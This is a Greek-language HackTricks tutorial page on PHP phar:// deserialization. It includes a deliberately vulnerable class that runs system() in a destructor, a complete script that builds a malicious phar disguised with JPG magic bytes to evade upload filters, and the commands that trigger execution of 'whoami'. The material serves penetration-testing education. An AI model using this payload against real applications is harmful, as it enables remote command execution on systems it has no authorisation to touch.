mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
102 lines
6.6 KiB
Markdown
102 lines
6.6 KiB
Markdown
# phar:// αποσυσκευασία
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||
|
||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Τα αρχεία **Phar** (PHP Archive) περιέχουν μεταδεδομένα σε μορφή σειριοποίησης, οπότε, όταν αναλυθούν, αυτά τα **μεταδεδομένα** αποσειριοποιούνται και μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια ευπάθεια **αποσειριοποίησης** μέσα στον κώδικα **PHP**.
|
||
|
||
Το καλύτερο πράγμα σχετικά με αυτό το χαρακτηριστικό είναι ότι αυτή η αποσειριοποίηση θα συμβεί ακόμα και όταν χρησιμοποιούνται συναρτήσεις PHP που δεν αξιολογούν κώδικα PHP όπως **file\_get\_contents(), fopen(), file() ή file\_exists(), md5\_file(), filemtime() ή filesize()**.
|
||
|
||
Έτσι, φανταστείτε μια κατάσταση όπου μπορείτε να κάνετε ένα PHP web να λάβει το μέγεθος ενός αυθαίρετου αρχείου χρησιμοποιώντας το πρωτόκολλο **`phar://`**, και μέσα στον κώδικα βρίσκετε μια **κλάση** παρόμοια με την παρακάτω:
|
||
|
||
{% code title="vunl.php" %}
|
||
```php
|
||
<?php
|
||
class AnyClass {
|
||
public $data = null;
|
||
public function __construct($data) {
|
||
$this->data = $data;
|
||
}
|
||
|
||
function __destruct() {
|
||
system($this->data);
|
||
}
|
||
}
|
||
|
||
filesize("phar://test.phar"); #The attacker can control this path
|
||
```
|
||
{% endcode %}
|
||
|
||
Μπορείτε να δημιουργήσετε ένα αρχείο **phar** που όταν φορτωθεί θα **καταχραστεί αυτή την κλάση για να εκτελέσει αυθαίρετες εντολές** με κάτι σαν:
|
||
```php
|
||
<?php
|
||
|
||
class AnyClass {
|
||
public $data = null;
|
||
public function __construct($data) {
|
||
$this->data = $data;
|
||
}
|
||
|
||
function __destruct() {
|
||
system($this->data);
|
||
}
|
||
}
|
||
|
||
// create new Phar
|
||
$phar = new Phar('test.phar');
|
||
$phar->startBuffering();
|
||
$phar->addFromString('test.txt', 'text');
|
||
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
|
||
|
||
// add object of any class as meta data
|
||
$object = new AnyClass('whoami');
|
||
$phar->setMetadata($object);
|
||
$phar->stopBuffering();
|
||
```
|
||
{% endcode %}
|
||
|
||
Σημειώστε πως τα **μαγικά bytes του JPG** (`\xff\xd8\xff`) προστίθενται στην αρχή του αρχείου phar για να **αποφευχθούν** **πιθανοί** περιορισμοί **αποστολής** αρχείων.\
|
||
**Συντάξτε** το αρχείο `test.phar` με:
|
||
```bash
|
||
php --define phar.readonly=0 create_phar.php
|
||
```
|
||
Και εκτελέστε την εντολή `whoami` καταχρώμενοι το ευάλωτο κώδικα με:
|
||
```bash
|
||
php vuln.php
|
||
```
|
||
### Αναφορές
|
||
|
||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||
|
||
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty που δημιουργήθηκε από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
|
||
|
||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||
|
||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
|
||
|
||
</details>
|